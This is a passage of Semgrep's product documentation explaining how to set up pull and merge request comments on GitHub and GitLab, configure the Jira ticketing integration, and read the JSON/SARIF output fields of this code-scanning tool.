* [`SEMGREP_REPO_URL`](/semgrep-ci/ci-environment-variables/#semgrep_repo_url) is set to the repository URL where your project is viewable online.
These values do not have to be fixed or hardcoded. They can be variables passed to the job. For more information, see [ Sample CI configurations](/semgrep-ci/sample-ci-configs).
### Configure comments for Semgrep Code
In addition to setting up the connection between Semgrep and GitHub, you must assign rules to Comment or Block mode. This customization enables you to:
* Manage the amount of PR comments your developers receive.
* Ensure that only rules that meet your criteria, such as high severity or high confidence rules, produce comments visible to developers, reducing noise.
#### Set rules to Comment or Block mode
The following instructions let you customize what findings or security issues your developers see as comments in their PRs:
In your Semgrep AppSec Platform account, click **Rules > Policies** to enter the **Policies** page. Under **Modes **, you can quickly see if you have existing rules in either Comment or Block mode.
Optional: To configure Semgrep Secrets rules, click the **Secrets** tab.
Optional: Use the filters to quickly find rules to set to Comment or Block.
Click the ** checkbox** of the rules you want to set. You can use Ctrl + Click to select rules in bulk.
Click **Change modes**.
Click either **Block** or **Comment**.
You have successfully configured PR comments for Semgrep Code.
**TIP**
Rules in Block mode fail the CI job that runs on the PR. Depending on your workflow, this may prevent your PR from merging.
If you are using **GitHub Actions** to run Semgrep, no extra changes are needed to receive PR comments.
### Configure comments for Semgrep Secrets
In addition to setting up the connection between Semgrep and GitHub, you must assign rules to Comment or Block mode. This customization enables you to:
* Manage the amount of PR comments your developers receive.
* Ensure that only rules that meet your criteria, such as high severity or high confidence rules, and result in findings involving valid secrets produce comments visible to developers, reducing noise.
#### Set rules to Comment or Block mode
The following instructions let you customize what findings or security issues your developers see as comments in their PRs:
In Semgrep AppSec Platform, go to **Rules > Policies > Secrets**.
Under **Modes **, you can see if you have existing rules in either Comment or Block mode. You can also use the filters to find rules you want to set to Comment or Block.
Click the ** checkbox** of the rules you want to set. You can use Ctrl + Click to select rules in bulk.
Click **Change modes**.
Click either **Block** or **Comment**.
You have successfully configured PR comments for Semgrep Secrets.
#### Validation state policies
Validation state policies allow you to define how Semgrep handles the following issues:
* **Invalid findings**: the secret has been revoked, was never functional, or used for a custom or private endpoint that Semgrep can't communicate with. For example, a Semgrep rule that tests GitHub credentials may return an invalid finding if Semgrep can't communicate with an on-premise deployment.
* **Validation errors**: Semgrep was unable to reach the secrets provider to test the validity of the credential, or Semgrep received an unexpected response from the API
To edit the policy for invalid secrets and errors:
In Semgrep AppSec Platform, go to **Rules > Policies > Secrets**.
Click **Validation State Policies**.
Choose the mode, either Comment or Block, that you want Semgrep to set for **Invalid findings**.
Choose the mode, either Comment or Block, that you want Semgrep to set for **Validation errors**.
**TIP**
Rules in Block mode fail the CI job that runs on the PR. Depending on your workflow, this may prevent your PR from merging.
### Configure comments for Semgrep Supply Chain
To configure comments for Supply Chain, you must define a Supply Chain policy. This policy lets you set the specific conditions, such as transitivity and reachability, that trigger a comment. These conditions are unique to Supply Chain findings.
See the [Policies documentation](/semgrep-supply-chain/policies) for more information.
### Receive comments in your VPN or on-premise SCM
If you are behind a firewall, are using a virtual private network (VPN), or have network restrictions regarding access, you may need to add the following IP addresses to the **ingress** allowlist and **egress** allowlist:
```bash theme={null}
# Ingress IP addresses (from Semgrep to your infrastructure)
# and egress IP addresses (from your infrastructure to Semgrep)
35.166.231.235
52.35.248.246
52.34.137.110
44.225.64.41
```
#### Additional egress IP addresses
You must also add **CloudFront IP addresses** to your **egress** allowlist. Refer to [ Locations and IP address ranges of CloudFront edge servers](https://docs.aws.amazon.com/AmazonCloudFront/latest/DeveloperGuide/LocationsOfEdgeServers.html) for a list of IP addresses.
#### Test your configuration
Test that you are able to receive findings by manually triggering a scan through your CI provider.
Receiving PR or MR comments may require additional steps depending on the custom configuration of your VPN or SCM (for example, if you use a static IP without a hostname). Reach out to [Semgrep Support](/support) with any concerns.
You've set up PR comments! Enable optional features provided in the following sections, or see [Next steps](#next-steps).
## Optional features
### Enable Rule-defined fix in GitHub repositories
[Rule-defined fix](/writing-rules/rule-defined-fix) is a Semgrep feature in which rules contain suggested fixes to resolve findings.
To enable **Rule-defined fix** for all projects in your Semgrep AppSec Platform organization, follow these steps:
In Semgrep AppSec Platform, go to **Settings > General > Code**.
Click the **Rule-defined fix ** toggle to enable this feature.
### Dataflow traces in PR comments
With **dataflow traces**, Semgrep Code provides you a visualization of the path of tainted, or untrusted, data in specific findings. This path can help you track the sources and sinks of the tainted data as they propagate through the body of a function or a method. For general information about taint analysis, see [Taint tracking](/writing-rules/data-flow/taint-mode/overview).
You can view dataflow traces in the PR comments created by Semgrep Code running in your CI/CD system.
#### View the path of tainted data in PR comments
To enable dataflow traces feature in your CI pipeline, fulfill the following prerequisites:
* Set up Semgrep to post GitHub PR comments, as described on this page.
* To obtain meaningful results of dataflow traces in PR comments, use [rules with taint tracking](/writing-rules/data-flow/taint-mode/overview) while scanning your repositories.
* Not all Semgrep rules or rulesets make use of taint tracking. Ensure that you have a ruleset that does, such as the **default ruleset**, added in your **[Policies](https://semgrep.dev/orgs/-/policies)**. To add this ruleset, navigate to [https://semgrep.dev/p/default](https://semgrep.dev/p/default), and then click **Add to Policies**.
* You can add additional rules that use taint tracking from [Semgrep Registry](https://semgrep.dev/explore).
### Prevent developers from merging a PR with a reachable vulnerability
You can use GitHub's [feature requiring conversation resolution before merging](https://docs.github.com/en/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/about-protected-branches#require-conversation-resolution-before-merging) to prevent PRs from merging when Semgrep detects a reachable finding and leaves a comment.
### Customize PR comments
You can customize the comments Semgrep leaves on your PR. Custom comments allow you to direct your teams to the resources they need to handle the vulnerabilities Semgrep identifies in their code.
To provide custom PR comments:
Sign in to [ Semgrep AppSec Platform](https://semgrep.dev/login?).
Navigate to **Settings > General > Global**.
Go to the **Custom PR/MR comments footers** section.
Provide a custom comment for each Semgrep product whose findings you want to generate a PR comment. Semgrep supports HTML, Markdown, and plaintext links in your message.
Click **Save changes**.
## Next steps
You've finished setting up a core deployment of Semgrep π.
* Explore recommended tasks after deployment in [ Beyond core deployment](/deployment/beyond-core-deployment).
## Additional references
# Set up GitLab merge request comments
Source: https://docs.semgrep.dev/semgrep-appsec-platform/gitlab-mr-comments
**YOUR DEPLOYMENT JOURNEY**
* You have gained the necessary [resource access and permissions](/deployment/checklist) required for deployment.
* You have [created a Semgrep account and organization](/deployment/create-account-and-orgs).
* You have [connected your source code manager](/deployment/connect-scm).
* Optionally, you have [set up SSO](/deployment/sso).
* You have successfully added a [Semgrep job](/deployment/add-semgrep-to-ci) to your CI workflow with [diff-aware scanning](/deployment/customize-ci-jobs/#set-up-diff-aware-scans).
Semgrep can create **merge request (MR) comments** in your GitLab repository. These comments provide a description of the issue detected by Semgrep and may offer possible solutions. These comments are a means for security teams, or any team responsible for creating standards, to help their fellow developers write safe and standards-compliant code.
Automated comments on GitLab merge requests are displayed as follows:
## Conditions for MR comment creation
MR comments appear for the following types of scans under these conditions:
| Type of scan | Product name | Trigger condition | How to set up |
| :----------------------------------------- | :------------------------- | :---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | :--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| Static application security testing (SAST) | Semgrep Code | A comment appears when a finding is generated by a rule in **Comment or Block mode**. This means you can fully customize what comments your developers receive. | Complete the steps in the following sections: 1. [Confirm your Semgrep account's connection and access to your source code manager](#confirm-your-semgrep-accounts-connection). 2. [Configure comments for Semgrep Code](#configure-comments-for-semgrep-code). |
| Software composition analysis (SCA) | Semgrep Supply Chain (SSC) | A comment appears based on the conditions you explicitly set in a [Supply Chain policy](/semgrep-supply-chain/policies) or when Semgrep detects a [license violation](/semgrep-supply-chain/license-compliance). | To receive Supply Chain comments, complete the steps in [Confirm account connection and access](#confirm-your-semgrep-accounts-connection) and [set up a policy](/semgrep-supply-chain/policies).
To receive license violation comments, [enable dependency search](/semgrep-supply-chain/dependency-search#enable-and-use-dependency-search). |
| Secrets | Semgrep Secrets | A comment appears when a finding is generated by a rule in **Comment or Block mode**. A comment also appears for invalid findings and validation errors if these conditions are set to **Comment or Block mode**. | Complete the steps in the following sections: 1. [Confirm your Semgrep account's connection and access to your source code manager](#confirm-your-semgrep-accounts-connection). 2. [Configure comments for Semgrep Secrets](#configure-comments-for-semgrep-secrets). |
Comments from Supply Chain scans include the following information:
**Risk**
A description of the vulnerability, including the types of attack it is vulnerable to.
**Fix**
Indicates what versions to upgrade to, if any, that resolves or eliminates the vulnerability.
**Reference**
A link to additional information about the vulnerability from its source, such as the [GitHub Advisory Database](https://github.com/advisories) and the [National Vulnerability Database (NVD)](https://nvd.nist.gov/vuln), if available.
## Steps to set up MR comments
### Confirm your Semgrep account's connection
PR comments are enabled by default for users who have connected their GitLab group to Semgrep AppSec Platform. Confirm that you have the correct connection and access:
In your Semgrep AppSec Platform account, click **Settings > Source code managers**.
Check that an entry for your GitLab group exists and is correct.
#### Triage through MR comments
Developers can triage Semgrep findings without leaving GitLab by responding to the MR comments authored by Semgrep. To use this feature, you must have a paid GitLab plan, and must update your source code manager (SCM) connection to use an access token with an elevated role. This allows you to enable webhooks, which Semgrep requires for the triage through MR comments feature.
Ensure that you're using one of the following GitLab plans:
* GitLab Premium
* GitLab Ultimate
* GitLab Self Managed
Log in to GitLab, and create an access token with access to the desired GitLab groups. Assign the `api` scope and one of the following roles:
* `Owner`
* `Admin`
Return to Semgrep and [ sign in](https://semgrep.dev/login).
Go to ** Settings > Source code managers**, and find your GitLab connection.
Click **Update access token**.
In the **Update access token** dialog that appears, provide the new token you created. Click **Update** to save and proceed.
Toggle the **Incoming webhooks** setting on.
Once you've successfully enabled webhooks and the **Default developer triage permissions** toggle is on, you can change the role for the token you provide to Semgrep to one that's more restrictive, such as `Developer`.
### Configure comments for Semgrep Code
In addition to setting up the connection between Semgrep and GitLab, you must assign rules to Comment or Block mode. This customization enables you to:
* Manage the amount of PR comments your developers receive.
* Ensure that only rules that meet your criteria, such as high severity or high confidence rules, produce comments visible to developers, reducing noise.
#### Set rules to Comment or Block mode
The following instructions let you customize what findings or security issues your developers see as comments in their PRs:
In your Semgrep AppSec Platform account, click **Rules > Policies** to enter the **Policies** page. Under **Modes **, you can quickly see if you have existing rules in either Comment or Block mode.
Optional: To configure Semgrep Secrets rules, click the **Secrets** tab.
Optional: Use the filters to quickly find rules to set to Comment or Block.
Click the ** checkbox** of the rules you want to set. You can use Ctrl + Click to select rules in bulk.
Click **Change modes**.
Click either **Block** or **Comment**.
You have successfully configured PR comments for Semgrep Code.
**TIP**
Rules in Block mode fail the CI job that runs on the PR. Depending on your workflow, this may prevent your PR from merging.
### Configure comments for Semgrep Secrets
In addition to setting up the connection between Semgrep and GitLab, you must assign rules to Comment or Block mode. This customization enables you to:
* Manage the amount of PR comments your developers receive.
* Ensure that only rules that meet your criteria, such as high severity or high confidence rules, and result in findings involving valid secrets produce comments visible to developers, reducing noise.
#### Set rules to Comment or Block mode
The following instructions let you customize what findings or security issues your developers see as comments in their PRs:
In Semgrep AppSec Platform, go to **Rules > Policies > Secrets**.
Under **Modes **, you can see if you have existing rules in either Comment or Block mode. You can also use the filters to find rules you want to set to Comment or Block.
Click the ** checkbox** of the rules you want to set. You can use Ctrl + Click to select rules in bulk.
Click **Change modes**.
Click either **Block** or **Comment**.
You have successfully configured PR comments for Semgrep Secrets.
#### Validation state policies
Validation state policies allow you to define how Semgrep handles the following issues:
* **Invalid findings**: the secret has been revoked, was never functional, or used for a custom or private endpoint that Semgrep can't communicate with. For example, a Semgrep rule that tests GitHub credentials may return an invalid finding if Semgrep can't communicate with an on-premise deployment.
* **Validation errors**: Semgrep was unable to reach the secrets provider to test the validity of the credential, or Semgrep received an unexpected response from the API
To edit the policy for invalid secrets and errors:
In Semgrep AppSec Platform, go to **Rules > Policies > Secrets**.
Click **Validation State Policies**.
Choose the mode, either Comment or Block, that you want Semgrep to set for **Invalid findings**.
Choose the mode, either Comment or Block, that you want Semgrep to set for **Validation errors**.
**TIP**
Rules in Block mode fail the CI job that runs on the PR. Depending on your workflow, this may prevent your PR from merging.
### Configure comments for Semgrep Supply Chain
To configure comments for Supply Chain, you must define a Supply Chain policy. This policy lets you set the specific conditions, such as transitivity and reachability, that trigger a comment. These conditions are unique to Supply Chain findings.
See the [Policies documentation](/semgrep-supply-chain/policies) for more information.
### Receive comments in your VPN or on-premise SCM
If you are behind a firewall, are using a virtual private network (VPN), or have network restrictions regarding access, you may need to add the following IP addresses to the **ingress** allowlist and **egress** allowlist:
```bash theme={null}
# Ingress IP addresses (from Semgrep to your infrastructure)
# and egress IP addresses (from your infrastructure to Semgrep)
35.166.231.235
52.35.248.246
52.34.137.110
44.225.64.41
```
#### Additional egress IP addresses
You must also add **CloudFront IP addresses** to your **egress** allowlist. Refer to [ Locations and IP address ranges of CloudFront edge servers](https://docs.aws.amazon.com/AmazonCloudFront/latest/DeveloperGuide/LocationsOfEdgeServers.html) for a list of IP addresses.
#### Test your configuration
Test that you are able to receive findings by manually triggering a scan through your CI provider.
Receiving PR or MR comments may require additional steps depending on the custom configuration of your VPN or SCM (for example, if you use a static IP without a hostname). Reach out to [Semgrep Support](/support) with any concerns.
You've set up MR comments! Enable optional features provided in the following sections, or see [Next steps](#next-steps).
## Optional features
### Enable Rule-defined fix in GitLab repositories
[Rule-defined fix](/writing-rules/rule-defined-fix) is a Semgrep feature in which rules contain suggested fixes to resolve findings.
To enable **Rule-defined fix** for all projects in your Semgrep AppSec Platform organization, follow these steps:
In Semgrep AppSec Platform, go to **Settings > General > Code**.
Use the **Rule-defined fix ** toggle to enable this feature.
### Dataflow traces in MR comments
With **dataflow traces**, Semgrep Code provides you a visualization of the path of tainted, or untrusted, data in specific findings. This path can help you track the sources and sinks of the tainted data as they propagate through the body of a function or a method. For general information about taint analysis, see [Taint tracking](/writing-rules/data-flow/taint-mode/overview).
You can view dataflow traces in the MR comments created by Semgrep Code.
#### View the path of tainted data in MR comments
To enable dataflow traces in your MR comments, fulfill the following prerequisites:
* Set up Semgrep to post GitLab merge request comments, as described on this page.
* To get the most meaningful results of dataflow traces in MR comments, use cross-file analysis while scanning your repositories. To enable cross-file analysis, see [ Perform cross-file analysis](/semgrep-code/semgrep-pro-engine-intro).
* Not all Semgrep rules or rulesets make use of taint tracking. Ensure that you have a ruleset such as the **default ruleset** added to your **[Policies](https://semgrep.dev/orgs/-/policies)**. If this ruleset is not added, go to [https://semgrep.dev/p/default](https://semgrep.dev/p/default), and then click **Add to Policy**. You can add rules that use taint tracking from [Semgrep Registry](https://semgrep.dev/explore).
### Customize MR comments
You can customize the comments Semgrep leaves on your PR. Custom comments allow you to direct your teams to the resources they need to handle the vulnerabilities Semgrep identifies in their code.
To provide custom PR comments:
Sign in to [ Semgrep AppSec Platform](https://semgrep.dev/login?).
Navigate to **Settings > General > Global**.
Go to the **Custom PR/MR comments footers** section.
Provide a custom comment for each Semgrep product whose findings you want to generate a PR comment. Semgrep supports HTML, Markdown, and plaintext links in your message.
Click **Save changes**.
## Next steps
You've finished setting up a core deployment of Semgrep π.
* Explore recommended tasks after deployment in [ Beyond core deployment](/deployment/beyond-core-deployment).
## Additional references
# Create Jira tickets
Source: https://docs.semgrep.dev/semgrep-appsec-platform/jira
The Semgrep Jira integration allows you to create Jira tickets based on your Semgrep Code, Supply Chain, and Secrets findings.
## Prerequisites
* You must have a **Jira Cloud** plan. Jira Data Center (self-managed or on-premise) is not supported.
* You must have at least one Jira project to set as the default location where tickets will be created.
* Optional, but recommended: An Atlassian account that is not associated with a specific human user, to set up and configure the Jira integration.
## Features
The Semgrep Jira integration provides the following capabilities:
* You can create tickets for findings from Semgrep Code, including those from AI-powered detection, Supply Chain, and Secrets.
* You can create a single ticket for multiple findings (up to 75) that were detected by a single rule in the same project, or create individual tickets per finding.
* You can automate the creation of tickets for critical or high severity findings. See [Automatic creation of tickets](#automatic-creation-of-tickets) for more details.
* Tickets can be created in **multiple Jira projects** if manually specified at ticket creation time.
## Limitations
* You can only create **one Jira integration** per Semgrep account or deployment.
* You can only use **one subdomain** per Jira integration.
* The Semgrep Jira integration does not support bi-directional or two-way status syncing.
## Enable the Jira integration
To enable the Jira integration, follow these steps:
Sign in to [Semgrep AppSec Platform](https://semgrep.dev/login).
Navigate to [**Settings** > **Integrations**](https://semgrep.dev/orgs/-/settings/integrations).
Click **Add**. In the menu that appears, select **Jira**.
Follow the on-screen instructions to grant Semgrep the necessary permissions and set up the integration.
When prompted, select the Jira instance you want to connect to. If you have multiple Jira instances, choose one instance from the **Use app on** drop-down menu.
* **For deployments that have used a previous version of the Jira integration**: Ensure you're connecting to the same Jira instance you previously connected to. Please contact Semgrep if you want to connect to a different Jira instance.
## Configure the integration
Once you have enabled the Jira integration, you must complete the following steps on Semgrep AppSec Platform's **Integrations** page:
Select the **Subdomain** for the Jira instance you want to use.
Select the **Default project** where the Jira tickets will be created.
Select the **Issue type** you want created with your Semgrep findings.
Optional: To see an example of the content Semgrep populates your Jira ticket with, click **See preview**.
Optional: Click **Customize ticket creation**, then select the product whose tickets you want to customize. Automated ticket creation is configured on a per-product basis. For each **Jira field** available on the Jira ticket, you can map to it a **Semgrep or static field** value. See [Create mappings](#create-mappings) for more information.
Click **Save changes** to proceed.
### Automatic creation of tickets
All products limit automatic ticket creation to **Critical** or **High** severity findings. Code findings must also be on your [primary branch](/deployment/primary-branch).
* For Code, Semgrep automatically creates tickets for **high confidence findings**. All criteria for Code also apply to AI-powered detection findings.
* For Supply Chain, Semgrep automatically creates tickets for **reachable findings** on the primary branch and **malicious dependency findings** on **any** branch.
* For Secrets, Semgrep automatically creates tickets for **validated secrets** on **any** branch.
Tickets are automatically created for new findings after each scan completes. These tickets always group findings by rule when a scan identifies multiple new findings for the same rule. Automatic ticket creation does not change the triage state of related findings, since related findings have not yet been reviewed by a human when the ticket is generated.
### Automatic detection of other Jira projects
The Jira integration automatically detects other Jira projects in your subdomain under the following conditions:
* The projects and Issue types are **company-managed**, not team-managed. See the Jira documentation about [ Team-managed and company-managed projects](https://support.atlassian.com/jira-software-cloud/what-are-team-managed-and-company-managed-projects/)
* Those projects have the same **Issue type** as the default project. [When you triage a finding](#code), you can choose which project to create the tickets in.
**SAME NAME, DIFFERENT ID**
Issue types may have the same name but different Issue type IDs. When creating tickets, only company-managed Jira projects whose issue type ID matches the default project selected in the integration will appear in the list of available projects.
If you don't see other Jira projects when creating tickets, check that the Issue type ID is the same across Jira projects. See the [Finding the Issue Type ID in Jira Cloud](https://support.atlassian.com/jira/kb/finding-the-issue-type-id-in-jira-cloud/) for details.
### Create mappings
Optionally, you can customize the Jira field mappings and indicate which values they should be populated with. Semgrep can map either Semgrep fields or static data to Jira fields.
Semgrep automatically populates the Jira **Reporter**, **Summary**, and **Description** fields. The issue **Reporter** is the integration user, and the **Summary** and **Description** contain information about the vulnerability. Click **See preview** to review the default mappings and any custom mappings you have created.
Currently, Semgrep supports the mapping of the following field types:
* Short texts
* Paragraphs
* Drop-down menus
* Checkboxes
* Labels
* Components (including Compass components)
The integration supports the use of custom Jira issue types and custom fields. However, it does not support field types other than those listed above. If you have a required field of a different type in your project, it will not be possible for Semgrep to map a value to that field, and issue creation will fail.
To create a field mapping:
Select the Semgrep product for which the mapping is valid: **Code**, **Supply Chain**, **Secrets**, or **Code (AI)**.
Click **Add mapping**.
Select the **Jira field** to which the Semgrep data should be mapped. You can [create a new field](https://support.atlassian.com/jira-cloud-administration/create-a-custom-field/) if necessary. If you opt not to add Semgrep values to your Jira fields, you can create an [automation to map to your field values](https://www.atlassian.com/software/jira/guides/automation/overview#what-is-automation).
Select the **Semgrep field** that holds the data to be mapped.
Repeat these steps for each mapping you want to create. When done, click **Save changes** to proceed.
**WARNING**
Ensure a 1:1 mapping between the Jira issue type field values and the Semgrep values.
#### Available field mappings
The following Semgrep fields are available to map to Jira fields for **all** products:
* Any static value of your choice
* Project name
* Project tags
* Finding timestamp
* Commit URL
* Rule name
* Severity
* Language
* Rule description
* Semgrep AppSec Platform link to the finding
* Type (for example, Code, Secrets, Supply Chain)
* Repository name
* Team name
* Components
The following Semgrep fields are available to map to Jira fields for Semgrep Code findings:
* Multimodal triage
* Multimodal component
* Rule confidence
The following Semgrep fields are available to map to Jira fields for Semgrep Supply Chain findings:
* Reachability
* Transitivity
* CVE
* EPSS probability
* Malicious Dependency
The following Semgrep fields are available to map to Jira fields for Semgrep Secrets findings:
* Validation
* Project visibility
#### Multiple labels
You can map multiple labels to a single Semgrep field when creating a field mapping. In the **Add mapping** dialog:
Select **Labels** under **Jira fields**.
Select **Set a static value** under **Semgrep fields**. A text box appears.
Enter each label, separated by a comma. Each of these labels is then added to the ticket.
**TIP**
The **Project tag** Semgrep field also creates multiple labels.
### Example mapping
Semgrep's **Severity** field can have the following values: `Low`, `Medium`, `High`, and `Critical`. The following Jira field setups can be used to capture this information:
* A short text issue type field
* A paragraph issue type field
* A drop-down issue type field with the following options: `Low`, `Medium`, `High`, `Critical`
* A checkbox issue type field with the following options: `Low`, `Medium`, `High`, `Critical`
If you opt for a drop-down or a checkbox issue type field, verify that:
* There are no misspellings.
* No valid options are missing. If your drop-down or checkbox issue type is missing the `Medium` option, Jira cannot create tickets for medium-severity findings.
### Component Mappings
If you've created a custom field mapping for a component field type, be aware that if you choose to create tickets in a Jira project other than your default Jira project as configured in your integration settings, you must ensure that project has a component available with the same name as the component you selected for your mapping.
If your default project uses [**Jira components**](https://support.atlassian.com/jira-software-cloud/what-are-jira-components/) and you create a component field mapping in your integration settings, you can create tickets in another project **only if you have a Jira component with the same name in that project**.
If your default project uses [**Compass components**](https://support.atlassian.com/jira-software-cloud/what-are-compass-components/) and you create a component field mapping in your integration settings, you can create tickets in another project **only if your selected Compass component is available in that project**. You can configure which components are available in each project in your Compass settings.
## Create tickets
After setting up your Jira integration, you're now ready to create Jira tickets. Jira tickets can be created from findings in Semgrep Code, including findings from AI-powered scans, Supply Chain, and Secrets. Jira tickets cannot be created for [findings with a status of **Fixed**](/semgrep-code/triage-remediation#triage-statuses) or [removed findings](/semgrep-code/triage-remediation#removed-findings), since those findings no longer require action to address.
You can create tickets for Code findings using the **Triage** button on the:
* [**Findings**](https://semgrep.dev/orgs/-/findings) page
* Individual finding's **Details** page
To create tickets from the [**Findings**](https://semgrep.dev/orgs/-/findings) page
Select the findings for which you want tickets created. You can select and create tickets for individual findings or all findings for a given rule.
Click **Triage**.
Set the status to **Open**, **Fixing**, or **Reviewing**. Select **Fixing** if it is a known issue that needs to be fixed or **Reviewing** if the finding needs more investigation.
Optional: You can add **Comments** in the text box.
Select the **Create tickets...** checkbox.
i. Optional: If you've selected multiple findings, click the first drop-down list to choose between making a ticket for **groups of findings** or an individual ticket for **each finding**.
ii. Optional: Click the **Jira project** drop-down list to select which Jira project to add the findings to. You can choose any project that is associated with the issue type configured in your integration settings.
Click **Submit** to proceed.
To create a ticket from the individual finding's **Details** page:
Go to the [**Findings**](https://semgrep.dev/orgs/-/findings) page, and identify the finding for which you'd like to create a ticket.
Click the finding to open it's **Details** page.
Click **Fix** to open the drop-down menu, then select **Create ticket...**.
Select the **Jira project** that the ticket should be assigned to, and optionally, choose whether the status of the finding should be marked as **To fix** once Semgrep creates the ticket.
Click **Create** to proceed.
**INFO**
* Creating tickets for many findings at once may take some time. Tickets that take longer than 10 seconds to create are shown in Semgrep once you refresh the page.
* If ticket creation **fails**, Semgrep automatically retries several times over the next day to provide robustness against outages and downtime in third-party services.
Once a ticket has been created, a link appears on the **Findings** page and in the sidebar of an individual finding's details page.
You can create tickets for Supply Chain findings using the **Triage** button on the:
* [**Supply Chain**](https://semgrep.dev/orgs/-/supply-chain) page
* Individual finding's **Details** page
To create tickets from the [**Supply Chain**](https://semgrep.dev/orgs/-/supply-chain) page
Select the findings for which you want tickets created. You can select and create tickets for individual findings or all findings for a given rule.
Click **Triage**.
Set the status to **Open**, **Fixing**, or **Reviewing**. Select **Fixing** if it is a known issue that needs to be fixed or **Reviewing** if the finding needs more investigation.
Optional: You can add **Comments** in the text box.
Select the **Create tickets...** checkbox.
i. Optional: If you've selected multiple findings, click the first drop-down list to choose between making a ticket for **groups of findings** or an individual ticket for **each finding**.
ii. Optional: Click the **Jira project** drop-down list to select which Jira project to add the findings to. You can choose any project that is associated with the issue type configured in your integration settings.
Click **Submit** to proceed.
To create a ticket from the individual finding's **Details** page:
Go to [**Supply Chain**](https://semgrep.dev/orgs/-/supply-chain), and identify the finding for which you'd like to create a ticket.
Click the finding to open it's **Details** page.
Click **Fix** to open the drop-down menu, then select **Create ticket...**.
Select the **Jira project** that the ticket should be assigned to, and optionally, choose whether the status of the finding should be marked as **To fix** once Semgrep creates the ticket.
Click **Create** to proceed.
You can create tickets for Secrets findings using the **Triage** button on the:
* [**Secrets**](https://semgrep.dev/orgs/-/secrets) page
* Individual finding's **Details** page
To create tickets from the [**Secrets**](https://semgrep.dev/orgs/-/secrets) page
Select the findings for which you want tickets created. You can select and create tickets for individual findings or all findings for a given rule.
Click **Triage**.
Set the status to **Open**, **Fixing**, or **Reviewing**. Select **Fixing** if it is a known issue that needs to be fixed or **Reviewing** if the finding needs more investigation.
Optional: You can add **Comments** in the text box.
Select the **Create tickets...** checkbox.
i. Optional: If you've selected multiple findings, click the first drop-down list to choose between making a ticket for **groups of findings** or an individual ticket for **each finding**.
ii. Optional: Click the **Jira project** drop-down list to select which Jira project to add the findings to. You can choose any project that is associated with the issue type configured in your integration settings.
Click **Submit** to proceed.
To create a ticket from the individual finding's **Details** page:
Go to [**Secrets**](https://semgrep.dev/orgs/-/secrets), and identify the finding for which you'd like to create a ticket.
Click the finding to open it's **Details** page.
Click **Fix** to open the drop-down menu, then select **Create ticket...**.
Select the **Jira project** that the ticket should be assigned to, and optionally, choose whether the status of the finding should be marked as **To fix** once Semgrep creates the ticket.
Click **Create** to proceed.
You can create tickets for Code (AI) findings using the **Triage** button on the:
* [**Findings**](https://semgrep.dev/orgs/-/findings) page
* Individual finding's **Details** page
To create tickets from the [**Findings**](https://semgrep.dev/orgs/-/findings) page
If you're on the [**Findings**](https://semgrep.dev/orgs/-/findings) page, select the findings for which you want tickets created; you can select and create tickets for individual findings or all findings for a given rule.
Click **Triage**.
Set the status to **Open**, **Fixing**, or **Reviewing**. Select **Fixing** if it is a known issue that needs to be fixed or **Reviewing** if the finding needs more investigation.
Optional: You can add **Comments** in the text box.
Select the **Create tickets...** checkbox.
i. Optional: If you've selected multiple findings, click the first drop-down list to choose between making a ticket for **groups of findings** or an individual ticket for **each finding**.
ii. Optional: Click the **Jira project** drop-down list to select which Jira project to add the findings to. You can choose any project that is associated with the issue type configured in your integration settings.
Click **Submit** to proceed.
To create a ticket from the individual finding's **Details** page:
Go to the [**Findings**](https://semgrep.dev/orgs/-/findings) page, and identify the finding for which you'd like to create a ticket.
Click the finding to open it's **Details** page.
Click **Fix** to open the drop-down menu, then select **Create ticket...**.
Select the **Jira project** that the ticket should be assigned to, and optionally, choose whether the status of the finding should be marked as **To fix** once Semgrep creates the ticket.
Click **Create** to proceed.
## Create tickets through the Semgrep API
Semgrep provides an API endpoint you can use to create Jira tickets, either by passing a list of `issue_ids` or filter query parameters to select findings. Refer to the [Jira endpoint documentation](/api-reference/v1/ticketingservice/create-jira-tickets).
## Ticket creation information
You can see a Jira ticket's creation information using the relevant finding's details page. The **Activity** section of the finding details page displays information about the successful ticket creation attempt, including the ticket ID:
If the ticket wasn't successfully created, you can see the status update and accompanying error message:
## Change the Jira user associated with the integration
To update the Jira account used to create future tickets:
Sign in to [Semgrep AppSec Platform](https://semgrep.dev/login), and navigate to **Settings > [Integrations](https://semgrep.dev/orgs/-/settings/integrations)**.
In the **Jira Cloud** section, click **Change Jira user**.
Authenticate into the Jira account you want to associate with the integration, and grant Semgrep the necessary permissions.
Updating the Jira user does **not** change the reporter on existing Jira tickets created by Semgrep. Previously created tickets keep their original reporter.
## Unlink a ticket from its associated Jira ticket
Sign in to [Semgrep AppSec Platform](https://semgrep.dev/login).
In the navigation bar, click the product whose findings you want to see.
Identify the finding associated with the Jira ticket, and open its finding details page.
Click **Fix**, and in the drop-down box that appears, click **Unlink** ***TICKET ID***.
## Remove the Jira integration
To remove the Jira integration from your Semgrep organization:
Sign in to [Semgrep AppSec Platform](https://semgrep.dev/login), and navigate to **Settings >[Integrations](https://semgrep.dev/orgs/-/settings/integrations)**.
Navigate to the **Jira Cloud** section and click **Remove integration**.
**NOTE THAT DELETING THE INTEGRATION:**
* **Does not** delete any tickets created by Semgrep
* **Removes** the link between Jira tickets and Semgrep findings, even if you re-add the integration in the future
# Semgrep JSON and SARIF fields
Source: https://docs.semgrep.dev/semgrep-appsec-platform/json-and-sarif
This reference provides Semgrep fields for JSON and SARIF output.
For fields that are exclusive to Semgrep AppSec Platform, you must [sign in](https://semgrep.dev/login) to generate values for those fields.
## Semgrep Code
### JSON
#### JSON top-level fields
These tables provide a **partial** overview of the fields available to Semgrep Community Edition (CE) and Semgrep AppSec Platform. Refer to the sample schema for all the fields.
| Field | Semgrep CE | Semgrep AppSec Platform |
| :------------------------- | :-------------------------------------- | :-------------------------------------- |
| `errors` | β | β |
| `interfile_languages_used` | β | β |
| `paths` | β | β |
| `results` | See [`results` object](#results-object) | See [`results` object](#results-object) |
| `skipped_rules` | β | β |
| `version` | β | β |
#### `results` object
| Field | Semgrep CE | Semgrep AppSec Platform |
| :-------------- | :---------------------------------- | :---------------------------------- |
| `check_id` | β | β |
| `end` | β | β |
| `extra` | See [`extra` object](#extra-object) | See [`extra` object](#extra-object) |
| `skipped_rules` | β | β |
| `start` | β | β |
| `paths` | β | β |
#### `extra` object
| Field | Semgrep CE | Semgrep AppSec Platform |
| :----------------------------------------- | :---------------------------------------- | :---------------------------------------- |
